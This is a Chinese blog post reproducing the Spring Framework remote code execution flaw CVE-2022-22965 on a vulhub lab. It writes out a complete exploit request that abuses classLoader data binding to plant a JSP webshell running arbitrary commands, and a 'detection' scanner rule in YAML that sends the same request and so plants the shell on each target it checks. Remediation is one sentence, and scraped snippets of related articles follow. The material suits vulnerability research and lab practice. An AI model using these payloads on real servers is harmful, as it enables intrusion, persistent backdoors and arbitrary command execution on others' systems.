Spring Framework远程代码执行漏洞复现

上官雨宝2022-07-20 17:03:00

Spring Framework远程代码执行漏洞复现

0x01 漏洞描述

Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击

0x02 漏洞影响范围

Spring Framework < 5.3.18

Spring Framework < 5.2.20

0x03 漏洞利用条件

JDK9或以上版本系列

Spring框架或衍生的SpringBoot等框架,版本小于v5.3.18或v5.2.20

Spring JavaBean表单参数绑定需要满足一定条件

部署在Tomcat容器中,且日志记录功能开启(默认状态)

0x04漏洞复现

通过vulhub拉取

docker-compose up -d

访问演示页面

http://your-ip:8080/?name=Bob&age=25

访问对应的controller,这里设置了日志的文件名、文件路径、以及后缀名,将后缀名设置为.jsp,然后不断地写入执行命令的jsp代码,从而实现webshell的写入,还需要补充cookie。

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

然后,访问刚写入的JSP Webshell,执行任意命令

http://ip:8080/tomcatwar.jsp?pwd=j&cmd=id

0x05检测poc规则编写

params: []
name: Spring 远程命令执行漏洞(CVE-2022-22965)
set: {}
rules:
- method: GET
  path: '/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= '
  headers:
    DNT: "1"
    c1: Runtime
    c2: <%
    suffix: '%>//'
  body: ""
  search: ""
  followredirects: false
  expression: response.status == 200
- method: GET
  path: /tomcatwar.jsp?pwd=j&cmd=id
  headers: {}
  body: ""
  search: ""
  followredirects: false
  expression: response.status == 200 && response.body.bcontains(b"uid")
groups: {}
detail:
  author: ""
  links: []
  description: ""
  version: ""

0x06漏洞修复

1、官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本。

0x07 参考

https://blog.csdn.net/huangyongkang666/article/details/124187398

文章转自公众号: Tide安全团队

漏洞framework
本作品采用《CC 协议》,转载必须注明作者和本文链接
2022年5月11日, VMware发布安全公告,修复了多个存在于Spring Framework中的中危漏洞
漏洞及渗透练习平台 数据库注入练习平台 花式扫描器 信息搜集工具 WEB工具 windows域渗透工具 漏洞利用及攻击框架 漏洞POC&EXP 中间人攻击及钓鱼 密码pj 二进制及代码分析工具 EXP编写框架及工具 隐写相关工具 各类安全资料 各类CTF资源 各类编程资源 Python
信息搜集:开源情报信息收集、创建企业密码字典进入内网:基于企业弱账号漏洞、基于系统漏洞进入、网站应用程序渗透隐匿攻击:Command and Control、代理内网跨边界应用:内网跨边界转发、内网跨边界代理穿透、shell反弹等
一个内网安全攻防的知识仓库
数字化时代,软件无处不在。软件已经成为支撑社会正常运转的最基本元素之一,软件的安全性问题也正在成为当今社会的根本性、基础性问题。随着软件产业的快速发展,软件供应链也越发复杂多元,复杂的软件供应链会引入一系列的安全问题,导致信息系统的整体安全防护难度越来越大。
【最新漏洞预警】WordPress Redux Framework CVE-2021-38314信息泄露漏洞影响全球数百万网站。
Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击
1. 通告信息 近日,安识科技A-Team团队监测到一则Spring Framework 拒绝服务漏洞的信息,当前官方已发布升级补丁以修复漏洞。 对此,安识科技建议广大用户及时升级到安全版本,并做好资产自查以及预防工作,以免遭受黑客攻击。 2. 漏洞概述 CVE-2022-22950 该漏洞是由于 Spring Framework 对 SPEL 表达式处理不当,攻击者可利用该漏洞
利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!当Spring部署在JDK9及以上版本,远程攻击者可利用该漏洞写入恶意代码导致远程代码执行。
上官雨宝
是水水水水是